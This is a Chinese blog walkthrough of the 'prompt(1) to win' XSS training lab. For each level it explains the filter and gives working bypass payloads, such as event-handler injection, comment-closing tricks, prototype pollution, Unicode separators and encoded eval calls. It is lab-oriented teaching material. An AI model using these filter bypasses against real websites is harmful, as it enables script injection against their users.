xss系列往期文章:
初识XSS漏洞-CSDN博客
利用XSS漏洞打cookie-CSDN博客
XSS漏洞:xss-labs靶场通关-CSDN博客
目录
第0关
第1关
第2关
第3关
第4关
第5关
第6关
第7关
第8关
第9关
第A关
第B关
第C关
第D关
第E关
第F关
上一篇文章给大家演示了经典的xss靶场xss-labs的通关文章,那么在本篇中我会学习+练习演示一个在线的xss靶场:prompt(1) to win - 0x0
那么现在开始ヾ(°∇°)ノ゙
首先在浏览器中访问该页面:
可以看出来这里页面和前面的xss-labs靶场的页面是不同的,这里直接将后端代码展示了出来,我们可以看到输入的参数在代码中的体现,好像是更加方便的观看了
我们刚点击进网站就直接在第0关,那么我们来看看这一关
第0关
我相信刚开始一定不会很难吧,我们直接闭合前面的标签,然后尝试传入弹窗代码
成功过关
第1关
这里很轻松的就来到了第1关,我们直接尝试进行弹窗先来看看后端代码做了什么限制
从后端代码和输出的结果可以看到我们输入的内容被包裹在<article>中并且对我们输入的内容进行了过滤将所有的< / > 都过滤掉了
因此这里我们可以使用没有进行限制的弹窗代码来进行弹窗
<img src= 1 onerror = prompt(1)
1
成功过关
第2关
现在来到了第2关,还是一样我们先试试弹窗看看有什么限制
从后端代码和输出的记过都可以看到这对我们输入的(和 = 进行了限制,无法使用事件on,并且结,现在就很头疼了既然要求要弹窗prompt(1)才可以过关,这里没有了(相当于直接把锁换了,这该怎么办的
这里我想到了使用反引号``因为它有时很可以起到与()一样的作用,那么来尝试一下
但是这里却没有成功
我们试试alert是可以成功弹窗的的:
那么既然无法使用``就只能想别的办法
解法1:编码
我们可以svg加上对()进行编码来绕过限制
解法2:模板字符串
因为本关将=
也限制了,无法使用on事件,所以就不能使用html实体编码的形式绕过,所以本关就只能使用模板字符串来进行绕过。因为本关在<script>
标签中,所以不能使用html实体编码,因为eval函数在执行时,参数必须为字符串js才能正常执行,而unicode编码不能编码符号但可以直接编码字符串,所以这里可以使用unicode编码。
成功过关
第3关
现在来到了第3关,先来试试弹窗,看看有什么限制
可以看到这里虽然我们输入的内容完整的展示了出来,但是却被包裹在一对注释符中,无法生效,并且对- 和>都进行了替换,为了防止我们使用->来闭合标签
但是我们发现闭合注释符是可以使用--!>的,因此我们还是可以闭合注释符,然后进行弹窗的
成功过关
第4关
现在我们来到了第4关,还是与前面一样看看有什么限制
这里我们不管输入什么,都会显示Invaild resource,这里表示我们源不对,并且我们可以看到上面的if语句中因为走到了else中才会这里,如果需要走到if中需要匹配到下面的正则表达式
/^(?:https?:)?\/\/prompt\.ml\//i
因此我们必须要在开头加上我们必须要在开头输入http://prompt.ml/
才可以匹配,那么我们来试着构造一个这样的正则表达式格式的弹窗
浏览器支持这样的url:user:password@attacker.com。
意思是使用user:password登录到站点attacker.com.
所以本关我们可以使用url中@符号进行外部调用,在本地新建一个test.js文件,在文件中输入prompt(1)。
因此我们先新建一个test.js
然后再url中进行弹窗
可以看到这样是不行的,出现了一个表情,并没有弹窗过关
这里分析了一下原因,是因为 / 出现在user中是不允许的。
考虑到这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过。 所以应该书写为:
http://prompt.ml%2f127.0.0.1/test.js
第5关
现在来到了第5关,先来看看有什么限制
根据结果和代码可看出,后端对我们输入的内容进行了过滤把>和on事件都过滤掉了
这里我们可以先北河前面的"然后使用img标签+换行来尝试绕过:
aaa" type="image" src=1 onerror
="prompt(1
第6关
现在来到了第六关,这一关的后端代码看起来非常的多
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为formURL#formDataJSON
比如http://httpbin.org/post#{“name”:“Matt”},具体过程是先提取formURL构造form表单,formURL赋值给form标签中的action,然后post内容构造input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data。
如下图所示
但是过滤存在缺陷,由于存在子级tag,action 将会优先指向name为action的子tag。
所以我们在构造payload时,可以将input标签的name属性值设置为action,这样document.form[0].action指向的就不是form标签中的action了,因此过滤也就不起作用了。
Payload:
javascript:prompt(1)#{"action":"yps"}
成功过关
第7关
现在来到了第7关,直接试试进行弹窗
从代码和结果中都可以看出来这一关对输入的长度进行了限制,我们只能输入12个字符
但是想要弹窗就必须要输出、prompt(1),这个字符串就占9个字符,这里就有点头疼了
但是这里再看看代码发现了一个分割#的代码,我们可以利用这个来试着分多次传入参数就可以保证每次输入都小于12个字符了
"><script>/*#*/prompt(1/*#*/)</script>
或者
"><svg/a=#"onload='/*#*/prompt(1)'
成功过关
第8关
现在到了第8关,不管怎样,我们先试试进行弹窗
可以看到这里我们传入的值被放在一个console.log()中,并且可以在代码中看到,对\r \n < / 进行了过滤
所以需要绕过过滤规则逃脱出双引号或者本行。
这里过滤了两个换行符,所以用到了一个特殊的编码技巧:
U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用
现在徐璈利用换行来逃避前面的注释符,但是无法使用\n,需要使用]\u2028来进行换行
有了这个技巧我们就可以使用下面的代码进行弹窗:
成功过关
第9关
现在到了9关,不管怎样,我们先试试进行弹窗
可以看到我们输入的值被放在了h1中,然后对<后的第一个字符替换为了_
后面的toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将ſ
传入就可以转换为 S
,这样就可以绕过。
直接构造<ſcript>prompt(1)</ſcript>不行,因为javascript对大小写敏感,,不识别PROMPT(1)。
所以我们可以使用<svg>
标签在事件中对prompt进行编码。
payload为:
<ſvg/onload="prompt(1)"
成功过关
第A关
现在到了第A关,不管怎样,我们先试试进行弹窗
可以到这里对输入的字符进行了url编码,并且将输入的promt替换为了aler并且过滤了单引号。但因为他先替换prompt再进行单引号替换为空的操作,所以我们可以构造payload为:
promp't(1)
成功过关
第B关
现在到了第B关,不管怎样,我们先试试进行弹窗
可以从输出的结果和代码中看到,这里对我们输入了内容进行了严格的过滤
第一个思路是利用js的一个特性进行绕过。在js中,键名相同,输出后值是后面的变量的值。
可以通过下面这个例子来理解
因此构造思路是构造 ","message":"prompt(1)"
,可是正则表达式中过滤了冒号,所以这种方法不可取,只能另想办法。
在js中,(prompt(1))instanceof"1"
和 (prompt(1))in"1"
是可以成功弹窗的(可以自己在console试一下),其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。
"(prompt(1))in"
成功过关
第C关
现在到了第C关,不管怎样,我们先试试进行弹窗
可以看到我尝试进行弹窗后,居然真的进行了弹窗,但是当我点击确定后却没有显示youwon,因此说明还是有问题的
从代码中我们可以看出本题修改了第十题的顺序问题,所以之前方法用不了了,只能尝试什么别的方法。所以只能试试编码或是函数,想到sql中有那种利用函数转换成字符的,尝试一下。
parselnt:解析一个字符串并返回指定基数的十进制整数,并且进制数的范围是2-26.
但是我们在转换prompt的时候,在26之前是没有数的,显示的都是NAN,
但是在26之后就有值了;这是因为他转换是由0-9+a-z组成的,而p是字母的第16位,
然后加上前面的10个字符,就等于26,所以才从第26位开始,
这里可能不好理解,就好比十六进制,他的最大的字母F,f拍在第6位
加上前面那个就是16进制为什么这里要写30进制,因为prompt最后一个字母是t
排在字母表的第20位置,加上前面的10个数就是30;如果使用小于30的数
就不包括了t,这样就不完整了。
因此我们构造下面的payload:
eval((630038579).toString(30))(1)
第D关
现在到了第D关
这一关也是属于代码非常多的一关:
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
这里根据代码,我们可以看出必须满足一下要求:
-
首先,你的数据格式必须是json格式的
-
控制<source>
-
闭合双引号
每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}}
,由于前面有非法字符'
,则会删除,但是在替换的时候由于过滤了"
,无法闭合,那么正好有一种特殊的替换方式
因此可以构造下面的payload:
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
第E关
现在到了第E关,不管怎样,我们先试试进行弹窗
可以看到,这里后端代码将我输入的代码中的字符全部转换为了大写字符
后面的代码将//和字母换为data:,然后将`\、&、+、%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。
由于本题的输入全被转换成大写的,正常的payload是无法被解析,老实说这题的官方答案都无法成功执行,看解释的大概意思我猜是火狐浏览器是可以支持大写的base64的解析,然后精心构造一个大写的base64编码,解码后恰好可以达到上面的效果,便能够成功执行,但是我实验后是失败的,我看其他人的wp也都说失败了,不是很清楚具体原因是什么。
这里我直接从别人那些拿到了一个参考payload:
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
第F关
现在到了第F关,不管怎样,我们先试试进行弹窗
可以看到这一关和前面的第7关是很像的,通过验证我发现这里同样可以使用多次传递,然后注无用的字符来实现弹窗
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
"><svg><!--#--><script><!--#-->prompt(1)</
"><script>`#${prompt(1)}#`</script>
注:这个靶场其实还有几个隐藏关,可以在url中将数字修改为-1 -2 -3 -4来进入隐藏关,这里就不再演示,感兴趣的小伙伴可以去看别的文章
总:到此这个xss靶场也是勉强通关了,后面还会演示其他的xss通关技巧